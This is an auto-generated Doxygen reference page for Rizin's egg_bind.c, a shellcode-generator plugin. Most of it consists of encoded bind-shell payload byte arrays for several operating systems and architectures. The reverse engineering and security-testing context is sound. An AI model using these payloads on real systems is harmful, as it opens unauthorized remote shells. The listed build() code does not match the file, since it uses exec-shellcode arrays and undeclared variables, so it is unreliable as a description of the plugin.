Rizin
unix-like reverse engineering framework and cli tools
egg_bind.c File Reference
#include <rz_egg.h>

Go to the source code of this file.

Functions

static RzBufferbuild (RzEgg *egg)
 

Variables

static unsigned char x86_osx_bind4444 []
 
static unsigned char x86_solaris_bind4444 []
 
static long x86_openbsd_bind6969 []
 
static unsigned char x86_linux_bind4444 []
 
static unsigned char x86_linux_udp4444 []
 
static char arm_linux_bind []
 
static unsigned char sparc_linux_bind4444 []
 
static unsigned char x86_w32_tcp4444 []
 
RzEggPlugin rz_egg_plugin_bind
 
RZ_API RzLibStruct rizin_plugin
 

Function Documentation

◆ build()

static RzBuffer* build ( RzEgg egg)
static

Definition at line 144 of file egg_bind.c.

144  {
146  const ut8 *sc = NULL;
147  int cd = 0;
148  char *port = rz_egg_option_get(egg, "port");
149  // TODO: char *udp = rz_egg_option_get (egg, "udp");
150  switch (egg->os) {
151  case RZ_EGG_OS_OSX:
152  case RZ_EGG_OS_DARWIN:
153  switch (egg->arch) {
154  case RZ_SYS_ARCH_X86:
155  if (suid) {
157  cd = 7 + 36;
158  } else {
159  sc = x86_osx_binsh;
160  cd = 36;
161  }
162  case RZ_SYS_ARCH_ARM:
163  // TODO
164  break;
165  }
166  break;
167  case RZ_EGG_OS_LINUX:
168  if (suid)
169  eprintf("no suid for this platform\n");
170  suid = 0;
171  switch (egg->arch) {
172  case RZ_SYS_ARCH_X86:
173  switch (egg->bits) {
174  case 32: sc = x86_linux_binsh; break;
175  case 64: sc = x86_64_linux_binsh; break;
176  default: eprintf("Unsupportted\n");
177  }
178  break;
179  case RZ_SYS_ARCH_ARM:
181  break;
182  }
183  break;
184  default:
185  eprintf("unsupported os %x\n", egg->os);
186  break;
187  }
188  if (sc) {
189  rz_buf_set_bytes(buf, sc, strlen((const char *)sc));
190  if (shell && *shell) {
191  if (cd)
192  rz_buf_write_at(buf, cd, (const ut8 *)shell, strlen(shell) + 1);
193  else
194  eprintf("Cannot set shell\n");
195  }
196  }
197  free(suid);
198  free(shell);
199  return buf;
200 }
static csh cd
Definition: asm_mips_cs.c:10
#define NULL
Definition: cris-opc.c:27
RZ_API char * rz_egg_option_get(RzEgg *egg, const char *key)
Definition: egg.c:534
static char sc[]
Definition: egg_cb.c:6
static ut8 x86_64_linux_binsh[]
Definition: egg_exec.c:46
static ut8 x86_linux_binsh[]
Definition: egg_exec.c:34
static ut8 x86_osx_suid_binsh[]
Definition: egg_exec.c:18
static ut8 x86_osx_binsh[]
Definition: egg_exec.c:25
static ut8 arm_linux_binsh[]
Definition: egg_exec.c:49
RZ_API void Ht_() free(HtName_(Ht) *ht)
Definition: ht_inc.c:130
voidpf void * buf
Definition: ioapi.h:138
uint8_t ut8
Definition: lh5801.h:11
#define eprintf(x, y...)
Definition: rlcc.c:7
RZ_API st64 rz_buf_write_at(RZ_NONNULL RzBuffer *b, ut64 addr, RZ_NONNULL const ut8 *buf, ut64 len)
Write len bytes of the buffer at the specified address.
Definition: buf.c:1197
RZ_API bool rz_buf_set_bytes(RZ_NONNULL RzBuffer *b, RZ_NONNULL const ut8 *buf, ut64 len)
Replace the content of the buffer with the bytes array.
Definition: buf.c:905
RZ_API RZ_OWN RzBuffer * rz_buf_new_with_bytes(RZ_NULLABLE RZ_BORROW const ut8 *bytes, ut64 len)
Creates a new buffer with a bytes array.
Definition: buf.c:465
#define RZ_EGG_OS_DARWIN
Definition: rz_egg.h:129
#define RZ_EGG_OS_OSX
Definition: rz_egg.h:128
#define RZ_EGG_OS_LINUX
Definition: rz_egg.h:127
@ RZ_SYS_ARCH_X86
Definition: rz_types.h:532
@ RZ_SYS_ARCH_ARM
Definition: rz_types.h:533
int bits
Definition: rz_egg.h:108
int arch
Definition: rz_egg.h:106
ut32 os
Definition: rz_egg.h:109

References rz_egg_t::arch, arm_linux_binsh, rz_egg_t::bits, cd, eprintf, free(), NULL, rz_egg_t::os, rz_buf_new_with_bytes(), rz_buf_set_bytes(), rz_buf_write_at(), rz_egg_option_get(), RZ_EGG_OS_DARWIN, RZ_EGG_OS_LINUX, RZ_EGG_OS_OSX, RZ_SYS_ARCH_ARM, RZ_SYS_ARCH_X86, sc, x86_64_linux_binsh, x86_linux_binsh, x86_osx_binsh, and x86_osx_suid_binsh.

Referenced by winkd_get_profile().

Variable Documentation

◆ arm_linux_bind

char arm_linux_bind[]
static

Definition at line 53 of file egg_bind.c.

◆ rizin_plugin

RZ_API RzLibStruct rizin_plugin
Initial value:
= {
.type = RZ_LIB_TYPE_EGG,
.version = RZ_VERSION
}
RzEggPlugin rz_egg_plugin_bind
Definition: egg_bind.c:203
@ RZ_LIB_TYPE_EGG
Definition: rz_lib.h:84
#define RZ_VERSION
Definition: rz_version.h:8

Definition at line 211 of file egg_bind.c.

◆ rz_egg_plugin_bind

RzEggPlugin rz_egg_plugin_bind
Initial value:
= {
.name = "bind",
.desc = "listen port=4444",
.build = (void *)build
}
static RzBuffer * build(RzEgg *egg)
Definition: egg_bind.c:144
#define RZ_EGG_PLUGIN_SHELLCODE
Definition: rz_egg.h:19

Definition at line 203 of file egg_bind.c.

◆ sparc_linux_bind4444

unsigned char sparc_linux_bind4444[]
static
Initial value:
=
"\x23\x2d\x57\xbb\xa2\x14\x63\xd5\x20\xbf\xff\xff\x20\xbf\xff\xff"
"\x7f\xff\xff\xff\xea\x03\xe0\x20\xaa\x9d\x40\x11\xea\x23\xe0\x20"
"\xa2\x04\x40\x15\x81\xdb\xe0\x20\x12\xbf\xff\xfb\x9e\x03\xe0\x04"
"\x29\x75\x4f\xd2\xf1\x9a\xaf\xde\x61\x8a\x8f\xdf\x61\x89\x70\x2b"
"\xb1\xed\x30\x2b\xf1\xd1\xf0\x37\x60\x35\xaf\xcb\x06\x29\x8f\x1d"
"\x97\x99\xf0\xb1\x3c\x3a\x50\x91\x9a\x2d\xb0\xc1\x32\x6e\x0f\x15"
"\x54\x4a\xcf\x2d\xb1\xad\x30\x49\x69\xb8\x10\x0d\xc3\xdf\x12\xb8"
"\xfb\xe4\x2d\x22\x6c\x0b\x72\xa0\x1d\xfb\x52\xb4\xbf\xeb\xb2\xb5"
"\x22\x28\x0d\x4d\x32\x3f\x52\xa9\xa3\xef\xb2\xa1\x04\x2c\x0d\x39"
"\x44\x10\xcd\x45\xd4\x47\x12\xb0\x45\xb7\x72\xaa\xb6\x14\xcd\x3e"
"\xa4\x4b\x12\xbd\x5a\xc9\x32\xc0\xd9\x1d\x92\x98\x4c\xcd\xf3\x0c"
"\x7c\x52\x0c\xd1\x51\xae\x4c\xdd\xc5\xab\x73\x16\xc4\xc7\xab\xb2"
"\xa6\xcc\x6a\xac\x85\xe7\xb1\xea\x59\xdb\xea\x1a\xc8\x38\x4a\x12"
"\x0c\x04\x35\xd2\x1c\x58\xf5\xea\x5c\xbc\xb5\xf6\xde\xd2\xea\x3d"
"\x4f\x02\xca\x49\x70\xa3\x0a\x49"

Definition at line 105 of file egg_bind.c.

◆ x86_linux_bind4444

unsigned char x86_linux_bind4444[]
static
Initial value:
=
"\x33\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x81\x9c\x95"
"\xe9\x83\xeb\xfc\xe2\xf4\xb0\x47\xc6\xaa\xd2\xf6\x97\x83\xe7\xc4\x0c\x60"
"\x60\x51\x15\x7f\xc2\xce\xf3\x81\x90\xc0\xf3\xba\x08\x7d\xff\x8f\xd9\xcc"
"\xc4\xbf\x08\x7d\x58\x69\x31\xfa\x44\x0a\x4c\x1c\xc7\xbb\xd7\xdf\x1c\x08"
"\x31\xfa\x58\x69\x12\xf6\x97\xb0\x31\xa3\x58\x69\xc8\xe5\x6c\x59\x8a\xce"
"\xfd\xc6\xae\xef\xfd\x81\xae\xfe\xfc\x87\x08\x7f\xc7\xba\x08\x7d\x58\x69\x00"

Definition at line 35 of file egg_bind.c.

◆ x86_linux_udp4444

unsigned char x86_linux_udp4444[]
static
Initial value:
=
"\x33\xc9\x83\xe9\xe7\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x13\xec\x81"
"\xca\x83\xeb\xfc\xe2\xf4\x22\x37\xd2\xa0\x11\x86\x83\x89\x79\x8a\xd9\x43"
"\xf2\x21\x01\x59\x4a\x5c\xbe\x07\x93\xa5\xf8\x33\x48\xb6\xe9\xb5\x13\xec"
"\x80\xac\x7b\xfd\xdd\xac\x40\x65\x60\xa0\x03\xbd\xd2\x43\xf2\xaf\x31\xac"
"\xde\x6c\xeb\xc1\x4b\xbe\xe7\xa2\x3e\x85\x08\x2b\x79\x8b\xe7\xa2\x7a\x82"
"\xe9\xaf\x77\x85\xf5\xa2\x3e\xc1\xef\xa5\x9a\x0b\xd3\xa2\x3c\xc3\xf2\xa2"
"\x7b\xc3\xe3\xa3\x7d\x65\x62\x98\x42\xbb\xd2\x43\xf2\x21\x01\xca\x00"

Definition at line 44 of file egg_bind.c.

◆ x86_openbsd_bind6969

long x86_openbsd_bind6969[]
static
Initial value:
= {
0x4151c931, 0x51514151, 0x61b0c031, 0x078980cd, 0x4f88c931, 0x0547c604, 0x084f8902,
0x0647c766, 0x106a391b, 0x5004478d, 0x5050078b, 0x68b0c031, 0x016a80cd, 0x5050078b,
0x6ab0c031, 0xc93180cd, 0x078b5151, 0xc0315050, 0x80cd1eb0, 0xc9310789, 0x50078b51,
0xb0c03150, 0x4180cd5a, 0x7503f983, 0x5b23ebef, 0xc9311f89, 0x89074b88, 0x8d51044f,
0x078b5007, 0xc0315050, 0x80cd3bb0, 0x5151c931, 0x01b0c031, 0xd8e880cd, 0x2fffffff,
0x2f6e6962, 0x90416873
}

Definition at line 26 of file egg_bind.c.

◆ x86_osx_bind4444

unsigned char x86_osx_bind4444[]
static
Initial value:
=
"\x33\xc9\x83\xe9\xea\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xc5"
"\x7e\x85\xb4\x83\xeb\xfc\xe2\xf4\xaf\x3c\xdd\x79\x45\x14\xe4\xec"
"\x5c\x2c\xed\xa4\xc7\x6f\xd9\x3d\x24\x2c\xc7\xe6\x87\x2c\xef\xa4"
"\x08\xfe\x1c\x27\x94\x2d\xd7\xde\xad\x26\x48\x34\x75\x14\x48\x34"
"\x97\x2d\xd7\x04\xdb\xb3\x05\x23\xaf\x7c\xdc\xde\x9f\x26\xd4\xe3"
"\x94\xb3\x05\xfd\xca\xf7\x74\x4b\x3a\x81\xd5\xdc\xea\x51\xf6\xdc"
"\xad\x51\xe7\xdd\xab\xf7\x66\xe4\x91\x2a\xd6\xe7\x75\x45\x48\x34"

Definition at line 6 of file egg_bind.c.

◆ x86_solaris_bind4444

unsigned char x86_solaris_bind4444[]
static
Initial value:
=
"\x31\xc9\x83\xe9\xe8\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x3f"
"\x08\x0b\x8d\x83\xeb\xfc\xe2\xf4\x87\xf7\xf3\x72\x03\xff\xdb\xdd"
"\x0e\xc8\xbb\x17\x6f\x81\xee\xbc\xf6\x59\x4a\xcc\x6e\x59\xbb\x6b"
"\xc0\xdd\x3a\x5f\xb6\xcf\x59\xeb\x57\x19\x57\xeb\x6e\x81\xed\xe7"
"\x2f\x5e\x5c\x3d\xd7\xf7\xde\x3d\xd6\xf7\xde\xdd\x6f\x5f\xbb\x67"
"\xc0\xdd\x3a\x5f\x8d\x01\x5a\xdf\x6f\xb8\x35\x72\xea\x41\x72\x7f"
"\x6f\x60\x24\xa2\x4c\x60\x63\xa2\x5d\x61\x65\x04\xdc\x58\x58\x04"
"\xdd\x58\x59\xde\x8f\x33\xf4\x58"

Definition at line 15 of file egg_bind.c.

◆ x86_w32_tcp4444

unsigned char x86_w32_tcp4444[]
static
Initial value:
=
"\x33\xc9\x83\xe9\xb8\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x7a"
"\xba\xcb\x13\x83\xeb\xfc\xe2\xf4\x86\xd0\x20\x5e\x92\x43\x34\xec"
"\x85\xda\x40\x7f\x5e\x9e\x40\x56\x46\x31\xb7\x16\x02\xbb\x24\x98"
"\x35\xa2\x40\x4c\x5a\xbb\x20\x5a\xf1\x8e\x40\x12\x94\x8b\x0b\x8a"
"\xd6\x3e\x0b\x67\x7d\x7b\x01\x1e\x7b\x78\x20\xe7\x41\xee\xef\x3b"
"\x0f\x5f\x40\x4c\x5e\xbb\x20\x75\xf1\xb6\x80\x98\x25\xa6\xca\xf8"
"\x79\x96\x40\x9a\x16\x9e\xd7\x72\xb9\x8b\x10\x77\xf1\xf9\xfb\x98"
"\x3a\xb6\x40\x63\x66\x17\x40\x53\x72\xe4\xa3\x9d\x34\xb4\x27\x43"
"\x85\x6c\xad\x40\x1c\xd2\xf8\x21\x12\xcd\xb8\x21\x25\xee\x34\xc3"
"\x12\x71\x26\xef\x41\xea\x34\xc5\x25\x33\x2e\x75\xfb\x57\xc3\x11"
"\x2f\xd0\xc9\xec\xaa\xd2\x12\x1a\x8f\x17\x9c\xec\xac\xe9\x98\x40"
"\x29\xf9\x98\x50\x29\x45\x1b\x7b\x7a\xba\xcb\x13\x1c\xd2\xda\x4f"
"\x1c\xe9\x42\xf2\xef\xd2\x27\xea\xd0\xda\x9c\xec\xac\xd0\xdb\x42"
"\x2f\x45\x1b\x75\x10\xde\xad\x7b\x19\xd7\xa1\x43\x23\x93\x07\x9a"
"\x9d\xd0\x8f\x9a\x98\x8b\x0b\xe0\xd0\x2f\x42\xee\x84\xf8\xe6\xed"
"\x38\x96\x46\x69\x42\x11\x60\xb8\x12\xc8\x35\xa0\x6c\x45\xbe\x3b"
"\x85\x6c\x90\x44\x28\xeb\x9a\x42\x10\xbb\x9a\x42\x2f\xeb\x34\xc3"
"\x12\x17\x12\x16\xb4\xe9\x34\xc5\x10\x45\x34\x24\x85\x6a\xa3\xf4"
"\x03\x7c\xb2\xec\x0f\xbe\x34\xc5\x85\xcd\x37\xec\xaa\xd2\x3b\x99"
"\x7e\xe5\x98\xec\xac\x45\x1b\x13"

Definition at line 122 of file egg_bind.c.